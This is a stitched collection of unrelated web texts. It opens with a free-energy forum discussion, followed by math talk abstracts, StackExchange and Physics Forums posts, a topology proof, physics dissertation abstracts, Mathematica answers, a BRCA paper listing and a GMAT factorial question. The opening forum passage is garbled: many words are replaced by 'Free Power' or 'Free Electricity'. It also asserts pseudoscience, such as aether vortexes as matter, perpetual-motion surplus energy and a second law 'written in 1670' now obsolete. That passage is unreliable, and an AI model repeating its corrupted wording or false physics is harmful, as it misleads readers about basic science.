Since this contraction formula has been proven by numerous experiments, It seems to be correct. So, the discarding of aether was the primary mistake of the Physics establishment. Empty space is not empty. It has physical properties, an Impedance, Free Power constant of electrical permittivy, and Free Power constant of magnetic permability. Truely empty space would have no such properties! The Aether is seathing with energy. Some Physicists like Misner, Free Energy, and Free Power in their book “Gravitation” calculate that Free Power cubic centimeter of space has about ten to the 94th power grams of energy. Using the formula E=mc^Free Electricity that comes to Free Power tremendous amount of energy. If only Free Power exceedingly small portion of this “Zero Point energy ” could be tapped – it would amount to Free Power lot! Matter is theorised to be vortexes of aether spinning at the speed of light. that is why electron positron pair production can occurr in empty space if Free Power sufficiently electric field is imposed on that space. It that respect matter can be created. All the energy that exists, has ever existed, and will ever exist within the universe is EXACTLY the same amount as it ever has been, is, or will be. You can’t create more energy. You can only CONVERT energy that already exists into other forms, or convert matter into energy. And there is ALWAYS loss. Always. There is no way around this simple truth of the universe, sorry. There is Free Power serious problem with your argument. “Free Power me one miracle and we will explain the rest. ” Then where did all that mass and energy come from to make the so called “Big Bang” come from? Where is all of that energy coming from that causes the universe to accelerate outward and away from other massive bodies? Therein lies the real magic doesn’t it? And simply calling the solution “dark matter” or “dark energy ” doesn’t take the magic out of the Big Bang Theory. If perpetual motion doesn’t exist then why are the planets, the gas clouds, the stars and everything else, apparently, perpetually in motion? What was called religion yesterday is called science today. But no one can offer any real explanation without the granting of one miracle that it cannot explain. Chink, chink goes the armor. You asked about the planets as if they are such machines. But they aren’t. Free Power they spin and orbit for Free Power very long time? Yes. Forever? Free Energy But let’s assume for the sake of argument that you could set Free Power celestial object in motion and keep it from ever contacting another object so that it moves forever. (not possible, because empty space isn’t actually empty, but let’s continue). The problem here is to get energy from that object you have to come into contact with it.
You have proven to everyone here that can read that anything you say just does not matter. After avoiding my direct questions, your tactics of avoiding any real answers are obvious to anyone who reads my questions and your avoidance in response. Not once have you addressed anything that I’ve challenged you on. You have the same old act to follow time after time and you insult everyone here by thinking that even the hard core free energy believers fall for it. Telling everyone that all motors are magnetic when everyone else but you knows that they really mean Free Power permanent magnet motor that requires no external power source. Free Power you really think you’ve pointed out anything? We can see you are just avoiding the real subject and perhaps trying to show off. You are just way off the subject and apparently too stupid to even realize it.
I looked at what you have for your motor so far and it’s going to be big. Here is my e-mail if you want to send those diagrams, if you know how to do it. [email protected] My name is Free energy MacInnes from Orangeville, On. In regards to perpetual motion energy it already has been proven that (The 2nd law of thermodynamics) which was written by Free Power in 1670 is in fact incorrect as inertia and friction (the two constants affecting surplus energy) are no longer unchangeable rendering the 2nd law obsolete. A secret you need to know is that by reducing input requirements, friction and resistance momentum can be transformed into surplus energy ! Gravity is cancelled out at higher rotation levels and momentum becomes stored energy. The reduction of input requirements is the secret not reveled here but soon will be presented to the world as Free Power free electron generator…electrons are the most plentiful source of energy as they are in all matter. Magnetism and electricity are one and the same and it took Free energy years of research to reach Free Power working design…Canada will lead the world in this new advent of re-engineering engineering methodology…. I really cant see how 12v would make more heat thatn Free Electricity, Free energy or whatever BUT from memeory (I havnt done Free Power fisher and paykel smart drive conversion for about 12months) I think smart drive PMA’s are Free Electricity phase and each circuit can be wired for 12Free Power Therefore you could have all in paralell for 12Free Power Free Electricity in series and then 1in parallel to those Free Electricity for 24Free Power Or Free Electricity in series for 36Free Power Thats on the one single PMA. Free Power, Ya that was me but it was’nt so much the cheep part as it was trying to find Free Power good plan for 48v and i havn’t found anything yet. I e-mailed WindBlue about it and they said it would be very hard to achieve with thiers.
Thus, in traditional use, the term “free” was attached to Free Power free energy for systems at constant pressure and temperature, or to Helmholtz free energy for systems at constant temperature, to mean ‘available in the form of useful work. ’ [Free Power] With reference to the Free Power free energy , we need to add the qualification that it is the energy free for non-volume work. [Free Power]:Free Electricity–Free Power
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2021-05-07 13:35:00
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https://video.ias.edu/csdm?page=8
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# Computer Science and Discrete Mathematics (CSDM)
Theoretical Computer Science and Discrete Mathematics
## On the number of ordinary lines determined by sets in complex space
Shubhangi Saraf
Rutgers University
December 5, 2016
Consider a set of $n$ points in $\mathbb R^d$. The classical theorem of Sylvester-Gallai says that, if the points are not all collinear then there must be a line through exactly two of the points. Let us call such a line an "ordinary line". In a recent result, Green and Tao were able to give optimal linear lower bounds (roughly $n/2$) on the number of ordinary lines determined $n$ non-collinear points in $\mathbb R^d$. In this talk we will consider the analog over the complex numbers.
## The mathematics of natural algorithms
Bernard Chazelle
Princeton University
November 14, 2016
I will review some of the recent techniques we've used in our study of natural algorithms. These include Dirichlet series for matrix products, mean-field approximations in opinion dynamics, graph sequence grammars, and tools for renormalizing network-based dynamical systems. If time permits, I will also discuss anti-mixing techniques for self-sustaining iterated learning. The talk will be self-contained and non-technical.
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2018-11-19 09:32:02
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https://math.stackexchange.com/questions/819970/discontinuous-characters-on-locally-compact-abelian-groups
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# Discontinuous characters on locally compact abelian groups
I'm doing some reading out of Rudin's Fourier Analysis on Groups and Folland's Abstract Harmonic Analysis for research. Particularly I am on characters and dual groups and I've noticed that neither author delves into any detail about discontinuous characters on locally compact abelian groups (or even gives mention of an example). Clearly such characters exist else we would not look specifically at continuous characters when discussing the dual group.
I tried to come up with an example in the case of $G = (\mathbb R,+)$ for the last hour or so but have gotten nowhere. I considered trying to define the character to be $1$ on dyadic numbers and $-1$ on the complement; I tried looking at an irrational translation of the rationals and letting the character be $1$ on this and $-1$ on the complement; and I even looking at $\mathbb R$ as a vector space over $\mathbb Q$ and trying to define characters via this approach somehow but things got hopelessly complicated at this stage.
Unsurprisingly, got absolutely nowhere in any of these. I get the feeling that the last one is probably relatively close to the kind of methodology one would need to define discontinuous characters (I'm guessing there are some pretty subtle set-theoretic undertones to such a problem given how challenging this has been). Can anyone shed light on this problem in any way? Can such a character be constructed or an algorithm/program be given to find one?
You need to use the axiom of choice or something like that: http://en.wikipedia.org/wiki/Cauchy%27s_functional_equation - and your comment about vector spaces over $\mathbb Q$ is exactly the right way to go.
• You can get to multiplicative homomorphisms by considering $x \mapsto e^{f(x)}$. If you want the homomorphism to be bounded, use $x \mapsto e^{i f(x)}$. – Stephen Montgomery-Smith Jun 4 '14 at 2:28
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2019-06-19 17:45:11
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http://www.physicsforums.com/showthread.php?t=171991
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# Free fall Experiment Help
by bilalbajwa
Tags: experiment, fall, free
P: 560 I think you are getting there and probably understand. But anyways, the AVERAGE velocity of an object over a specific time interval (under constant acceleration) is $$v_{ave}=\frac{v_{i}+v_{f}}{2}$$ Since Vi is 0 in your the case of your object, you could express $$v_{ave}=\frac{v_{f}}{2}$$ Another way of expressing $$v_{ave}$$ is $$v_{ave}=\frac{\Delta d}{\Delta t}$$ Where delta d is the change in displacement and delta t is the change in time So this is where the yi/ti comes from, its simply the average velocity. I feel that I am not doing a very good job of explaining this.. :/
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2014-07-29 12:49:14
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https://planetmath.org/proofofspaceshomeomorphictobairespace
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# proof of spaces homeomorphic to Baire space
We show that a topological space $X$ is homeomorphic to Baire space, $\mathcal{N}$, if and only if the following are satisfied.
1. 1.
It is a nonempty Polish space.
2. 2.
3. 3.
No nonempty and open subsets are compact.
As Baire space is easily shown to satisfy these properties, we just need to show that if they are satisfied then there exists a homeomorphism $f\colon\mathcal{N}\rightarrow X$. By property 1 there is a complete metric $d$ on $X$.
We choose subsets $C(n_{1},\ldots,n_{k})$ of $X$ for integers $k\geq 0$ and $n_{1},\ldots,n_{k}$ satisfying the following.
1. (i)
$C(n_{1},\ldots,n_{k})$ is a nonempty clopen set with diameter no more than $2^{-k}$.
2. (ii)
$C()=X$.
3. (iii)
For any $n_{1},\ldots,n_{k}$ then $C(n_{1},\ldots,n_{k},m)$ are pairwise disjoint as $m$ ranges over the natural numbers and,
$\bigcup_{m=1}^{\infty}C(n_{1},\ldots,n_{k},m)=C(n_{1},\ldots,n_{k}).$ (1)
This can be done inductively. Suppose that $S=C(n_{1},\ldots,n_{k})$ has already been chosen. As it is open, condition 3 says that it is not compact. Therefore, there is a $\delta>0$ such that $S$ has no finite open cover consisting of sets of diameter no more than $\delta$ (see here (http://planetmath.org/ProofThatAMetricSpaceIsCompactIfAndOnlyIfItIsCompleteAndTotallyBounded)). However, as Polish spaces are separable, there is a countable sequence $S_{1},S_{2},\ldots$ of open sets with diameter less than $\delta$ and covering $S$. As the space is zero dimensional, these can be taken to be clopen. By replacing $S_{j}$ by $S_{j}\cap S$ we can assume that $S_{j}\subseteq S$. Then, replacing by $S_{j}\setminus\bigcup_{i, the sets $S_{j}$ can be taken to be pairwise disjoint.
By eliminating empty sets we suppose that $S_{j}\not=\emptyset$ for each $j$, and since $S$ has no finite open cover consisting of sets of diameter less than $\delta$, the sequence $S_{j}$ will still be infinite. Defining
$C(n_{1},\ldots,n_{k},n_{k+1})=S_{n_{k+1}}$
satisfies the required properties.
We now define a function $f\colon\mathcal{N}\rightarrow X$ such that $f(n)\in C(n_{1},\ldots,n_{k})$ for each $n\in\mathcal{N}$ and $k\geq 0$. Choose any $n\in\mathcal{N}$ there is a sequence $x_{k}\in C(n_{1},\ldots,n_{k})$. This set has diameter bounded by $2^{-k}$ and, so, $d(x_{k},x_{j})\leq 2^{-k}$ for $j\geq k$. This sequence is Cauchy (http://planetmath.org/CauchySequence) and, by completeness of the metric, must converge to a limit $x$. As $C(n_{1},\ldots,n_{k})$ is closed, it contains $x$ for each $k$ and therefore
$\bigcap_{k}C(n_{1},\ldots,n_{k})\not=\emptyset.$
In fact, as it has zero diameter, this set must contain a single element, which we define to be $f(n)$.
So, we have defined a function $f\colon\mathcal{N}\rightarrow X$. If $m,n\in\mathcal{N}$ satisfy $m_{j}=n_{j}$ for $j\leq k$ then $f(m),f(n)$ are both contained in $C(m_{1},\ldots,m_{k})$ and $d(f(m),f(n))\leq 2^{-k}$. Therefore, $f$ is continuous.
It only remains to show that $f$ has continuous inverse. Given any $x\in X$ then $x\in C()$ and equation (1) allows us to choose a sequence $n_{k}\in\mathbb{N}$ such that $x\in C(n_{1},\ldots,n_{k})$ for each $k$. Then, $f(n)=x$ showing that $f$ is onto.
If $m\not=n\in\mathcal{N}$ then, letting $k$ be the first integer for which $m_{k}\not=n_{k}$, the sets $C(m_{1},\ldots,m_{k})$ and $C(n_{1},\ldots,n_{k})$ are disjoint and, therefore, $f(m)\not=f(n)$ and $f$ is one to one.
Finally, we show that $f$ is an open map, so that its inverse is continuous. Sets of the form
$\mathcal{N}(n_{1},\ldots,n_{k})=\left\{m\in\mathcal{N}\colon m_{j}=n_{j}\text{% for }j\leq k\right\}$
form a basis for the topology on $\mathcal{N}$. Then, $f\left(\mathcal{N}(n_{1},\ldots,n_{k})\right)=C(n_{1},\ldots,n_{k})$ is open and, therefore, $f$ is an open map.
Title proof of spaces homeomorphic to Baire space ProofOfSpacesHomeomorphicToBaireSpace 2013-03-22 18:46:51 2013-03-22 18:46:51 gel (22282) gel (22282) 7 gel (22282) Proof msc 54E50
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2018-11-21 18:54:55
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https://www.ideals.illinois.edu/handle/2142/29731
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## Files in this item
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application/pdf
Dolence_Joshua.pdf (13MB)
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## Description
Title: Self-consistent dynamical and radiative models of low-luminosity active galactic nuclei Author(s): Dolence, Joshua C. Director of Research: Gammie, Charles F. Doctoral Committee Chair(s): Gammie, Charles F. Doctoral Committee Member(s): Lamb, Frederick K.; Ricker, Paul M.; Chu, You-Hua Department / Program: Astronomy Discipline: Astronomy Degree Granting Institution: University of Illinois at Urbana-Champaign Degree: Ph.D. Genre: Dissertation Subject(s): Black holes general relativity numerical simulations radiative transfer agittarius A* (Sgr A*) Active Galactic Nuclei Magnetohydrodynamics (MHD) Abstract: Supermassive black holes are found in nearly all major galaxies and most are in a slowly accreting or quiescent state. The physical characteristics of these low-luminosity active galactic nuclei (LLAGN) allow a unique opportunity to build and test nearly \emph{ab initio} models of black hole accretion. To that end, I describe numerical techniques we have developed to build self-consistent dynamical and radiative models of LLAGN and their application to modeling the galactic center source Sgr A*. Sgr A* is an extremely low luminosity LLAGN and is a particularly attractive target for modeling black hole accretion flows for a variety of reasons. First, its proximity has enabled excellent measurements of its mass and distance through long term monitoring of stellar orbits. Next, Sgr A* has been the target of extensive multiwavelength observing campaigns for decades, providing a wealth of information on its mean and fluctuating broadband spectrum. In the last few years, millimeter wavelength very long baseline interferometry has begun to resolve structure on the scale of the event horizon, providing constraints on the structure of the inner accretion flow. From a theoretical perspective, Sgr A* is an attractive target because its low luminosity implies that the dynamical and radiative problems are decoupled, greatly simplifying the construction of self-consistent models. I first describe \grmonty, a fully relativistic Monte Carlo code for radiation transport that treats angle-dependent thermal synchrotron emission and absorption and Compton scattering essentially without approximation. One limitation of \grmonty\ is that it assumes the background emitting plasma (which is provided by, e.g., a simulation) is time-independent which we refer to as the fast-light'' approximation. I then describe the generalization of \grmonty\ to include light travel time effects in arbitrary time-dependent background flows and introduce a new technique for producing images based on time-dependent ray tracing. Our aim was to model the time-dependent broadband spectrum of Sgr A* based on general relativistic magnetohydrodynamic (GRMHD) simulations. Before proceeding, we noted, as others have before us, that global disk simulations model transient accretion flows in the sense that the numerical values for, e.g., the density decay with time as the initial disk drains into the hole or exits the outer boundary. If left unaddressed, these transient models result in light curves that decay in time, in sharp contrast to the quasi-steady state that seems to pertain to systems like Sgr A*. To mitigate this problem, we derive and numerically solve the equations of one dimensional relativistic viscous disk evolution and use these results to motivate a smoothly varying time-dependent scaling between simulation and physical units. We show that this time-dependent scaling procedure effectively maps the transient GRMHD simulation data onto a quasi-steady solution that can then be used in radiative transfer calculations. We then went on to modeling the time-dependent broadband spectrum of Sgr A* using GRMHD simulations, the time-dependent scaling described above, and the time-dependent extension of \grmonty. We found that our light curves are qualitatively similar to those observed. At near-infrared (NIR) and X-ray wavelengths, GRMHD models can produce modest flaring events broadly similar to flares observed from Sgr A*, though with some possible discrepancies. In particular, we find, in agreement with observations, 1) the NIR and X-ray flares are simultaneous, 2) they are $\sim 1\,{\rm hour}$ in duration, and 3) the NIR flare shows rich substructure while the X-ray flare is comparatively smooth. Next, I describe our discovery of quasi-periodic structure in our simulated NIR and X-ray light curves of Sgr A*. We identify two peaks in the power spectral densities (PSDs) near the orbital frequency at the radius of the innermost stable circular orbit (ISCO). We attribute this quasi-periodicity to bright magnetic filaments dominated by $m=1$ azimuthal structure. The peak at higher frequency than the ISCO frequency is found to result from sub-ISCO emission. We argue that longer simulations would likely result in a single broad bump near the ISCO frequency rather than distinct peaks in the PSDs, but that excess power near the ISCO frequency is likely a robust result pertaining to hot, geometrically thick, optically thin disks. Finally, I describe an ongoing effort to produce self-consistent models of LLAGN other than Sgr A*. Whereas in Sgr A* the dynamical and radiative problems are decoupled, other observable LLAGN have sufficient luminosity to make nonradiative GRMHD simulations inappropriate. Therefore I introduce \bhlight, a new numerical scheme for general relativistic radiation magnetohydrodynamics (GR-RMHD) based on the GRMHD code \harm\ and the relativistic Monte Carlo transport code \grmonty. \bhlight\ is fully conservative and formally applicable in all regimes of relativistic (and non-relativistic) radiation magnetohydrodynamics. In practice, shot noise from the Monte Carlo transport will likely limit its applicability to flows with low to moderate optical depths and our explicit integration scheme will only be efficient for relativistic flows. Fortunately, \bhlight\ should be well suited to studying the weakly radiative LLAGN. Though we plan to test \bhlight\ more extensively in the future, I present two test problems that demonstrate its functionality in limited regimes. Issue Date: 2012-02-06 URI: http://hdl.handle.net/2142/29731 Rights Information: Copyright 2011 Joshua Cody Dolence Date Available in IDEALS: 2012-02-06 Date Deposited: 2011-12
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2018-07-21 09:23:12
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http://www.physicsforums.com/showpost.php?p=2242050&postcount=3
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View Single Post
P: 341 If you write a little bit more prettier, you can define a new B matrix as $\hat B \hat B^T = \left[\begin{array}{cc}B_1 &B_2\end{array}\right]\left[\begin{array}{cc}\gamma &0\\0 &R^{-1}\end{array}\right]\left[\begin{array}{cc}B_1 &B_2\end{array}\right]^T$ Now, your $$\hat B$$ is going to be $\hat B = \left[\begin{array}{cc}B_1 &B_2\end{array}\right]\left[\begin{array}{cc}\sqrt{\gamma} &0\\0 &\sqrt{R^{-1}}\end{array}\right]$ The squareroot of R exist anyway, because you have to choose as such from LQ theory anyway. You can now plug this new B matrix as an argument to your "care" function. Edit: oops mixed up the minus sign... And another argument bites the dust...
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2014-09-02 23:55:14
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https://escholarship.org/uc/item/3gg8t9xw
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Open Access Publications from the University of California
## ATLAS Measurements of the Higgs Boson Coupling to the Top Quark in the Higgs to Diphoton Decay Channel
• Author(s): Dickinson, Jennet Elizabeth
During Run 2 of the Large Hadron Collider, the ATLAS experiment recorded proton--proton collision events with a center of mass energy of 13 TeV, the highest energy ever achieved in a collider. Analysis of this dataset, which corresponds to an integrated luminosity of 139 fb$^{-1}$, has provided new opportunities for precision measurements of the Higgs boson. The interaction between the Higgs boson and the top quark, the heaviest known particle, is a fundamental probe of the Higgs mechanism, which describes how Standard Model particles obtain mass.
The coupling of the Higgs boson to the top quark can be directly probed through the production of a Higgs boson in association with a top-antitop quark pair ($t\bar{t}H$) at the LHC. A statistical combination of ATLAS searches in multiple Higgs boson decay channels using 79.8 fb$^{-1}$ of the Run 2 dataset yielded the first observation of $t\bar{t}H$ production at the level of $6.3\sigma$.
The Higgs to diphoton ($\gamma\gamma$) decay channel is among the most sensitive for $t\bar{t}H$ measurements due to the excellent diphoton mass resolution of the ATLAS detector and the clean signature of this decay. A powerful multivariate analysis was developed to select $t\bar{t}H(\gamma\gamma)$ events based on the momenta of jets, photons, and leptons in the final state. The $t\bar{t}H$ cross section times $H\rightarrow\gamma\gamma$ branching fraction was measured to be $\sigma_{t\bar{t}H}\times B_{\gamma\gamma} = 1.59 \; _{-0.39}^{+0.43}$ fb using the full Run 2 ATLAS dataset. Top quarks were reconstructed with high probability in selected $t\bar{t}H(\gamma\gamma)$ events.
Following the observation of the $t\bar{t}H$ process, a direct measurement of the CP properties of the Higgs-top interaction was carried out in the $H\rightarrow\gamma\gamma$ decay channel. A CP-sensitive multivariate categorization was developed using reconstructed top quark variables, yielding an observed $t\bar{t}H$ significance of 5.2$\sigma$ and an upper limit on the cross section of single-top-plus-Higgs ($tH$) production of 11.6 times the SM expectation. The observed data excludes a fully CP odd Higgs-top coupling at the level of 3.9$\sigma$, and the CP mixing angle is constrained to $|\alpha|>43^\circ$ at 95\% confidence level.
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2021-09-19 18:14:07
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http://mathematica.stackexchange.com/tags/linear-algebra/hot?filter=all
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# Tag Info
43
Mathematica is every bit as fast as Matlab for these types of computations. The source of the discrepancy arises from the fact that Timing keeps track of total time used by all processors when Mathematica distributes the computation across them. We can examine a fair comparison using AbsoluteTiming, which is more comparable to Matlab's tic and toc. ...
42
I guess that V9 now adds this capability: $Assumptions = { Element[A, Matrices[{m, n}]], Element[B, Matrices[{n, k}]] }; TensorReduce[ Transpose[Transpose[A].Transpose[B]] ] (* Out: B.A *) 33 You're looking for ArrayFlatten. For your example matrices, R = ArrayFlatten[ {{A, {t}\[Transpose]},{0, 1}} ] (* => {{1, 0, 0, 1}, {0, 0, 1, 1}, {0, -1, 0, 1}, {0, 0, 0, 1}} *) The construct {t}\[Transpose] is necessary for ArrayFlatten to treat t as a column matrix. Then to find$\boldsymbol{R}^{-1}$, you run Inverse[R] (* => {{1, 0, 0, ... 26 Mathematica does not support this directly. You can do things of this sort using an external package called NCAlgebra. http://math.ucsd.edu/~ncalg/ The relevant documentation may be found at http://math.ucsd.edu/~ncalg/DOWNLOAD2010/DOCUMENTATION/html/NCBIGDOCch4.html#x8-510004.4 In particular have a look at "4.4.8 NCLDUDecomposition[aMatrix, Options]" ... 22 (I've been waiting for somebody to ask this question for months... :D ) Here's the Mathematica implementation of the Frobenius companion matrix approach discussed by Jim Wilkinson in his venerable book (for completeness and complete analogy with built-in functions, I provide these three): PolynomialEigenvalues[matCof : {__?MatrixQ}] := Module[{p = ... 22 The phase (and length) of the eigenvectors is completely undetermined unless you specify extra conditions in addition to the eigenvalue equation. Given that you don't have any additional conditions, it's not surprising that there is no well-defined way to plot the real and imaginary parts of each eigenvector component. A simple condition that makes the ... 22 The comments by both Michael E2 and J. M. ♦ are already an excellent answer, so this is just my attempt at summarizing. Undocumented means just what it says: there need not be any reference pages or usage messages, or any other kind of documentation. There are many undocumented functions and if you follow MSE regularly, you will encounter them often. Using ... 21 This might be as good a time as any to distill the collective wisdom of Messrs. Huber, McClure, and Toad R. M. As already mentioned, there is this quantity of great interest to people in the business of solving simultaneous linear equations, called the condition number, and conventionally denoted by the symbol$\kappa$. This is usually associated with a ... 21 You can always modify the matrix so that the most negative eigenvalue is also the one with the largest absolute value, and hence corresponds to the first in the list returned by EigenVectors. An upper bound for the largest absolute value of any eigenvalue is the Hilbert-Schmidt norm. So you can rescale your matrix by subtracting this norm times the unit ... 20 acl already posted the crucial information needed to solve this conundrum (i.e., the definition of InternalCompileValues[LinearSolve]), but wishes to delete his post since he had not interpreted it to give the complete answer. Therefore I re-post the following observation along with a summary of what it means. The input, InternalCompileValues[]; ... 19 This bug has been fixed in V10 mat = {{7/2 - I/2, -1 + I, 1/2 + 5 I/2}, {-1 + I, 5 + I, -1 + I}, {1/2 + 5 I/2, -1 + I, 7/2 - I/2}}; Eigensystem[mat] Gives: {{6, 3 + 3 I, 3 - 3 I}, {{1, -2, 1}, {1, 1, 1}, {-1, 0, 1}}} \begin{array}{ccc} 6 & 3+3 i & 3-3 i \\ \{1,-2,1\} & \left\{1,1,1\right\} & \{-1,0,1\} \\ \end{array} 18 The keyboard commands Ctrl+Enter, Ctrl+, and Tab can be used to enter this format. You can also use the menu Insert > Table/Matrix to create a table of specified size with placeholders. See Entering Tables and Matrices. Depending on the meaning of the question, this may have some bearing: 18 This answer is almost entirely about mathematics and algorithms, not Mathematica implementation. I'm not sure whether such answers are welcome on this site; I hope I haven't offended. This is a very important problem in computational algebra, but is usually stated in a more sophisticated way. The usual way that one thinks about it is to consider the ... 17 Initially, Mathematica is not designed for such abstract calculations. But, Mathematica is a powerful programming language, so that one can add such functionality easily. See the following examples in related area of differential geometry: calculations in symbolic dimensions Abstract calculations 17 If you need to be sure that the order is correct, there is a function Eigensystem that returns a list of both the eigenvalues and -vectors, which is in the right order. {eValues, eVectors} = Eigensystem[{{2, 0}, {0, 1}}]; eValues eVectors {2, 1} {{1, 0}, {0, 1}} It's probably worth using just for the slight off-chance that Eigenvalues and Eigenvectors ... 17 I found a way to dramatically improve the performance of this algorithm by using the undocumented function SparseArray`KrylovLinearSolve. The key advantage of this function is that it seems to be a near-analog of MATLAB's pcg, and as such accepts as a first argument either: a square matrix, or a function generating a vector of length equal to the length ... 17 Here is the method I outlined. I'll illustrate on a small example where we split matrix into top and bottom halves. In[794]:= SeedRandom[1111]; halfsize = 3; mat = RandomInteger[{-4, 4}, {2*halfsize, 10}] Out[796]= {{-3, -1, 3, -3, 3, 3, 3, 3, 4, 2}, {3, 3, -3, 0, 0, 1, -2, -4, 0, -1}, {-3, 4, 3, 0, -2, 4, 3, -2, -2, -2}, {2, 2, 4, 0, -4, 4, -1, -4, ... 17 Mathematica offers a pretty complete set of functionality for linear algebra, and it has improved in recent versions. For example, since version 5, Mathematica has offered the generalised Schur decomposition (also known as the QZ decomposition). This certainly wasn't available in earlier versions. It handles sparse matrices and many other wrinkles. And if ... 17 It's just a matter of the difficulty inherent in the numerical computation of determinants. Here's what Cleve Moler has to say about determinants and characteristic polynomials in chapter 10 of his book on numerical computing: Like the determinant itself, the characteristic polynomial is useful in theoretical considerations and hand calculations, but ... 17 Looking at CompilePrint[compiledGlynnAlgorithm] there are some CopyTensor in it which aren't really needed. There's also a few CoerceTensor in there when it might be faster to just coerce the integer matrix once at the beginning. By slightly adjusting the function all CopyTensor and CoerceTensor go away giving a small increase in speed: ... 17 Here's my attempt. To get the matrix representing the Laplacian I use LaplacianFilter on an array of symbols and CoefficientArrays to extract the coefficients. n = 200; shape = ArrayPad[ConstantArray[0, {n/2, n/2}], {{0, n/2}, {0, n/2}}, 1]; shapeVector = Flatten @ Position[Flatten @ shape, 1]; symbolArray = Array[x, {n, n}]; symbolLaplacian = ... 17 LinearSolve[] actually computes a permuted Cholesky decomposition; that is, it performs the decomposition$\mathbf P^\top\mathbf A\mathbf P=\mathbf G^\top\mathbf G$. To extract$\mathbf P$and$\mathbf G$, we need to use some undocumented properties. Here's a demo: mat = SparseArray[{Band[{2, 1}] -> -1., Band[{1, 1}] -> 2., Band[{1, ... 16 Based upon your update, you are trying to solve the system $$\mathbf{A}\vec{x} = \vec{b}$$ for$\vec{x}\$, so LinearSolve is exactly what you want. Also, it has the exact form LinearSolve[A, b] that you're asking for. Internally it uses a form of Gaussian elimination to solve such systems; this is most likely a variant of LU decomposition, but other ...
16
Here is a very simple way to do it: Table[1/i! D[M, {a, i}] /. a -> 0, {i, 0, 3}] (* ==> {{{15, 0}, {0, 2}}, {{0, 1}, {1, 0}}, {{1, 5}, {-5, 0}}, {{0, 0}, {0, 0}}} *) This works even if the entries are not polynomials. If they are, you can replace the arbitrary maximum 3 in the Table index by the degree of the polynomial: Max[Exponent[M, a]] ...
16
There is no need to use Eigensystem or Eigenvectors to find the axis of a rotation matrix. Instead, you can read the axis vector components off directly from the skew-symmetric matrix $$a \equiv R^T-R$$ In three dimensions (which is assumed in the question), applying this matrix to a vector is equivalent to applying a cross product with a vector made up ...
16
While the other answers are nice, the icon deserves a closer look: Note, in particular, that four of the six edges are not constrained by the ostensible Dirichlet boundary conditions, nor is it clear that they solve a Neumann problem. And indeed, as I noted in the comments this is supported by the OP's first link. In short, to produce the logo, they took ...
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Using the properties of Block matrices: $$\det\begin{pmatrix}\mathbf A&\mathbf B\\\mathbf C&\mathbf D\end{pmatrix}=\det(\mathbf A)\det\left(\mathbf D-\mathbf C\mathbf A^{-1}\mathbf B\right)$$ To visualize your matrix: mat1 = mat; {mat1[[;; 10, ;; 10]], mat1[[;; 10, 11 ;;]], mat1[[11 ;;, ;; 10]], mat1[[11 ;;, 11 ;;]]} = Range@4; (* cool :) *) ...
14
We can construct this matrix directly as a SparseArray. This allows some classes of numerical matrices to be stored as packed arrays while being combined with symbolic or exact vectors (or vice versa), so there can be storage and run-time efficiency reasons for using a SparseArray, in addition to the obvious benefit of direct construction. On the other hand, ...
14
Actually what you want is HermiteDecomposition. It is the integer ring form of RowReduce; that latter, while working largely over the integers for the forward elimination, actually is an echelon form over the rational field. As for efficiency, you'll have to experiment to see if it meets your needs. If not, feel free to post or send examples so I'll have ...
14
Use Eigenvalues[mat, Cubics -> True] Eigenvectors[mat, Cubics -> True] sometimes Quartics -> Truecan be needed. or ToRadicals @ Eigenvalues[ mat] ToRadicals @ Eigenvectors[ mat] In general one cannot find roots (of higher order) polynomials in terms of radicals. The reason that Mathematica allows this option is that in general it is ...
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https://www.repository.cam.ac.uk/browse?type=author&sort_by=1&order=ASC&rpp=20&etal=-1&value=Caligo%2C+Maria+A&starts_with=C
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• Common breast cancer susceptibility alleles are associated with tumor subtypes in BRCA1 and BRCA2 mutation carriers: results from the Consortium of Investigators of Modifiers of BRCA1/2.
(2011-11-02)
Abstract Introduction Previous studies have demonstrated that common breast cancer susceptibility alleles are differentially associated with breast cancer risk for BRCA1 and/or BRCA2 mutation carriers. It is currently ...
• Fine-Scale Mapping at 9p22.2 Identifies Candidate Causal Variants That Modify Ovarian Cancer Risk in $\small \textit{BRCA1}$ and $\small \textit{BRCA2}$ Mutation Carriers
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Population-based genome wide association studies have identified a locus at 9p22.2 associated with ovarian cancer risk, which also modifies ovarian cancer risk in $\small \textit{BRCA1}$ and $\small \textit{BRCA2}$ mutation ...
• Identification of four novel susceptibility loci for estrogen receptor negative breast cancer
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Common variants in 94 loci have been associated with breast cancer including 15 loci with genome wide significant associations (P<5x10-8) with estrogen receptor (ER)-negative breast cancer and BRCA1-associated breast cancer ...
• Identification of six new susceptibility loci for invasive epithelial ovarian cancer
(2015-01-12)
Genome-wide association studies (GWAS) have identified 12 epithelial ovarian cancer (EOC) susceptibility alleles. The pattern of association at these loci is consistent in BRCA1 and BRCA2 mutation carriers who are at high ...
• Mutational spectrum in a worldwide study of 29,700 families with BRCA1 or BRCA2 mutations.
(Wiley-Blackwell, 2018-05)
The prevalence and spectrum of germline mutations in BRCA1 and BRCA2 have been reported in single populations, with the majority of reports focused on Caucasians in Europe and North America. The Consortium of Investigators ...
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# What is the largest power of 3 contained in 200!
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What is the largest power of 3 contained in 200! [#permalink]
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What is the largest power of 3 contained in 200!
A. 88
B. 48
C. 66
D. 97
E. 39
Originally posted by vyassaptarashi on 24 Oct 2010, 11:29.
Last edited by Bunuel on 29 Jan 2019, 23:39, edited 3 times in total.
Renamed the topic and edited the question.
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Re: What is the largest power of 3 contained in 200! [#permalink]
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24 Oct 2010, 11:36
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vyassaptarashi wrote:
Try this 700+ level question
Q. What is the largest power of 3 contained in 200!
A. 88
B. 48
C. 66
D. 97
E. 39
Send me the replies people. I will provide you the official answer and method soon.
If you think this question is really a challenge for you and you appreciate this kind of question then consider giving me some KUDOS......
Answer = $$\frac{200}{3} + \frac{200}{3^2} + \frac{200}{3^3} + \frac{200}{3^4}$$
= $$66+ 22 + 7 + 2 = 97$$
D
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Re: What is the largest power of 3 contained in 200! [#permalink]
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24 Oct 2010, 11:37
vyassaptarashi wrote:
Try this 700+ level question
Q. What is the largest power of 3 contained in 200!
A. 88
B. 48
C. 66
D. 97
E. 39
Send me the replies people. I will provide you the official answer and method soon.
If you think this question is really a challenge for you and you appreciate this kind of question then consider giving me some KUDOS......
So for this problem:
$$\frac{200}{3}+\frac{200}{3^2}+\frac{200}{3^3}+\frac{200}{3^4}=66+22+7+2=97$$.
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Hope it helps.
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Re: What is the largest power of 3 contained in 200! [#permalink]
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24 Jul 2013, 14:18
How did you know to stop at 200/3^4 and what is the theory behind this. I have been trying all of the questions you have on the put on here, but I guess i do not understand the theory behind this. Could you elaborate?
Thanks,
AK
